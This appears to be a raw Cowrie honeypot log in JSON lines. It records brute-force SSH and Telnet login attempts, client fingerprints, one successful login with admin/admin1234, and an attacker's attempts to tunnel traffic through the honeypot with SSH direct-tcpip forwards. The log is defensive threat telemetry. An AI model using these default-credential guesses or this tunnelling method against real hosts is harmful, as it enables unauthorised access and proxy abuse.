{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x8e\\xfc\\x01\\xaa\\xd3\\xfb\\x97*\\xed\\xa1e03V\\x0c\\xf1\\xf3J\\x80\\x9bm\\xc0_\\xe3\\xe9wK\\x07z\\xc2\\x00\\x1e \\xf8\\x17D\\x0c\\xd1\\xb4\\x08\\x13\\x99Q\\xe8\\x9d%\\xbe\\x07\\xbfr-Z\\x12#@/\\xa5|\\xe9t\\th\\x06\\xf6\\xbf\\x00 \\xea\\xea\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\x8a\\x8a\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08**\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)**\\x00\\x01\\x00\\x00\\x1d\\x00 %\\xf3:\\xe9J\\xac\\xbc\\xdaC\\x9fW\\xc4\\xa4\\xa5\\x7f[\\x9c\\xb0\\xa95\\x95\\x9a\\xf7(y\\xe4\\t\\xdb^\\x93\\xdd\\x0c\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\n\\n\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x9a\\x9a\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":0,"message":"discarded direct-tcp forward request 0 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x8e\\xfc\\x01\\xaa\\xd3\\xfb\\x97*\\xed\\xa1e03V\\x0c\\xf1\\xf3J\\x80\\x9bm\\xc0_\\xe3\\xe9wK\\x07z\\xc2\\x00\\x1e \\xf8\\x17D\\x0c\\xd1\\xb4\\x08\\x13\\x99Q\\xe8\\x9d%\\xbe\\x07\\xbfr-Z\\x12#@/\\xa5|\\xe9t\\th\\x06\\xf6\\xbf\\x00 \\xea\\xea\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\x8a\\x8a\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08**\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)**\\x00\\x01\\x00\\x00\\x1d\\x00 %\\xf3:\\xe9J\\xac\\xbc\\xdaC\\x9fW\\xc4\\xa4\\xa5\\x7f[\\x9c\\xb0\\xa95\\x95\\x9a\\xf7(y\\xe4\\t\\xdb^\\x93\\xdd\\x0c\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\n\\n\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x9a\\x9a\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:40:26.911580Z","src_ip":"123.27.168.40","session":"ebb955e3cece","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:40:27.164087Z","session":"ebb955e3cece","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:40:27.410879Z","src_ip":"123.27.168.40","session":"ebb955e3cece","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x96\\x85\\xe9C\\xd3\\x17\\\\iq\\xb2\\x1cN\\xf7\\xa0\\xd2\\xfbJ\\x8c\\x9c[6v\\xab\\x1f.\\xf7\\x1a\\x005\\x1cc\\x9c s\\xe5^\\x17}\\xac\\x9fA\\xde\\xb7\\x13\\xad\\xbd\\xe4\\xc0\\xfc\\xaa\\x00\\xce\\xd8\\xd9\\xc8vJ;B\\xe1*6Z\\x87\\xcf\\x00\"ZZ\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91JJ\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x9a\\x9a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x9a\\x9a\\x00\\x01\\x00\\x00\\x1d\\x00 _\\x899z\\x19\\xa0Y(U\\xa2\\xcdj;\\xce\\x8b\\xa7,\\xbd\\xa1\\xbd\\xf9\\x15\\xc1\\x9d+Z\\x01OR\\xb1\\x07I\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xfa\\xfa\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02zz\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":1,"message":"discarded direct-tcp forward request 1 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x96\\x85\\xe9C\\xd3\\x17\\\\iq\\xb2\\x1cN\\xf7\\xa0\\xd2\\xfbJ\\x8c\\x9c[6v\\xab\\x1f.\\xf7\\x1a\\x005\\x1cc\\x9c s\\xe5^\\x17}\\xac\\x9fA\\xde\\xb7\\x13\\xad\\xbd\\xe4\\xc0\\xfc\\xaa\\x00\\xce\\xd8\\xd9\\xc8vJ;B\\xe1*6Z\\x87\\xcf\\x00\"ZZ\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91JJ\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x9a\\x9a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x9a\\x9a\\x00\\x01\\x00\\x00\\x1d\\x00 _\\x899z\\x19\\xa0Y(U\\xa2\\xcdj;\\xce\\x8b\\xa7,\\xbd\\xa1\\xbd\\xf9\\x15\\xc1\\x9d+Z\\x01OR\\xb1\\x07I\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xfa\\xfa\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02zz\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:40:27.414203Z","src_ip":"123.27.168.40","session":"ebb955e3cece","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.2","message":"Connection lost after 3.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:40:27.787210Z","src_ip":"123.27.168.40","session":"ebb955e3cece","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"27.71.230.31","src_port":40542,"dst_ip":"159.203.135.109","dst_port":22,"session":"4f61525c71f5","protocol":"ssh","message":"New connection: 27.71.230.31:40542 (159.203.135.109:22) [session: 4f61525c71f5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:40:29.865275Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:40:29.912685Z","src_ip":"27.71.230.31","session":"4f61525c71f5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:40:30.148122Z","src_ip":"27.71.230.31","session":"4f61525c71f5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"password$123","message":"login attempt [root/password$123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:40:35.431385Z","src_ip":"27.71.230.31","session":"4f61525c71f5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.8","message":"Connection lost after 6.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:40:36.681364Z","src_ip":"27.71.230.31","session":"4f61525c71f5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":53998,"dst_ip":"159.203.135.109","dst_port":23,"session":"34edd2eb08ff","protocol":"telnet","message":"New connection: 128.199.8.54:53998 (159.203.135.109:23) [session: 34edd2eb08ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:40:38.038835Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.122.221.179","src_port":41458,"dst_ip":"159.203.135.109","dst_port":22,"session":"1b3c6af2743d","protocol":"ssh","message":"New connection: 103.122.221.179:41458 (159.203.135.109:22) [session: 1b3c6af2743d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:41:17.077641Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:41:17.082110Z","src_ip":"103.122.221.179","session":"1b3c6af2743d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.218973875045776,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:41:17.257681Z","src_ip":"128.199.8.54","session":"34edd2eb08ff","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:41:17.339586Z","src_ip":"103.122.221.179","session":"1b3c6af2743d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"999999123","message":"login attempt [root/999999123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:41:18.117446Z","src_ip":"103.122.221.179","session":"1b3c6af2743d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:41:19.377569Z","src_ip":"103.122.221.179","session":"1b3c6af2743d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"123.27.168.40","src_port":65139,"dst_ip":"10.17.0.5","dst_port":22,"session":"9b00fe100164","protocol":"ssh","message":"New connection: 123.27.168.40:65139 (10.17.0.5:22) [session: 9b00fe100164]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:41:24.363063Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:41:24.371091Z","src_ip":"123.27.168.40","session":"9b00fe100164","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:41:24.759534Z","src_ip":"123.27.168.40","session":"9b00fe100164","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:41:26.006433Z","src_ip":"123.27.168.40","session":"9b00fe100164","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:41:26.384838Z","session":"9b00fe100164","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:41:26.482536Z","session":"9b00fe100164","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:41:26.634225Z","src_ip":"123.27.168.40","session":"9b00fe100164","protocol":"ssh"}
